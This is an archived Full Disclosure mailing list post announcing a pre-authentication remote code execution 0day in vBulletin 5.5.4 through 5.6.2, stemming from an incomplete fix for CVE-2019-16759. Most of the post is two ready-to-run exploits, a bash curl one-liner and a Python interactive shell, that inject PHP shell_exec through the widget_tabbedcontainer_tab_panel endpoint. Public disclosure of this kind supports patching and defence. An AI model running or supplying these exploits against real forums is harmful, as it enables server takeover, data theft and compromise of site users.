



Site Search



[Full Disclosure](#) mailing list archives



[By Date](#) [By Thread](#)

List Archive Search



Remote Code Execution 0day in vBulletin 5.x

From: Zenofex via Fulldisclosure <fulldisclosure () seclists org>

Date: Sun, 9 Aug 2020 16:58:27 -0500

vBulletin 5.5.4 through 5.6.2 are vulnerable to a remote code execution vulnerability caused by incomplete patching of the previous "CVE-2019-16759" RCE. This logic bug allows for a single pre-auth request to execute PHP code on a target vBulletin forum.

More info can be found at:
<https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/>

Exploits below.

Thank you,
Zenofex

BASH Exploit:

```
#!/bin/bash
#
# vBulletin (widget_tabbedcontainer_tab_panel) 5.x 0day by @Zenofex
#
# Usage ./exploit <site> <shell-command>

# Urlencode cmd
CMD=$(echo $2|perl -eMURI::Escape -ne 'chomp;print uri_escape($_)."\n"')

# Send request
curl -s $1/ajax/render/widget_tabbedcontainer_tab_panel -d
'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20shell_exec("'"$CMD"'");exit;'
```

Python Exploit:

```
#!/usr/bin/env python3
# vBulletin 5.x pre-auth widget_tabbedContainer_tab_panel RCE exploit by
# @zenofex

import argparse
import requests
import sys

def run_exploit(vb_loc, shell_cmd):
    post_data = {'subWidgets[0][template]': 'widget_php',
                  'subWidgets[0][config][code]': "echo shell_exec('%s'); exit;" % shell_cmd}
    r = requests.post("%s/ajax/render/widget_tabbedcontainer_tab_panel" %
                      vb_loc, post_data)
    return r.text

ap = argparse.ArgumentParser(description='vBulletin 5.x Ajax Widget
Template RCE')
ap.add_argument('-l', '--location', required=True, help='Web address to
root of vB5 install.')
ARGS = ap.parse_args()

while True:
    try:
        cmd = input("vBulletin5$ ")
        print(run_exploit(ARGS.location, cmd))
    except KeyboardInterrupt:
        sys.exit("\nClosing shell...")
    except Exception as e:
        sys.exit(str(e))
```

Sent through the Full Disclosure mailing list
<https://nmap.org/mailman/listinfo/fulldisclosure>
Web Archives & RSS: <http://seclists.org/fulldisclosure/>

[By Date](#) [By Thread](#)

Current thread:

Remote Code Execution 0day in vBulletin 5.x Zenofex via Fulldisclosure (Aug 11)

Site Search



Nmap Security
Scanner

Ref Guide

Install Guide

Docs

Download

Nmap OEM

Npcap packet
capture

User's Guide

API docs

Download

Npcap OEM

Security Lists

Nmap Announce

Nmap Dev

Full Disclosure

Open Source Security

BreachExchange

Security Tools

Vuln scanners

Password audit

Web scanners

Wireless

Exploitation

About

About/Contact

Privacy

Advertising

Nmap Public Source
License

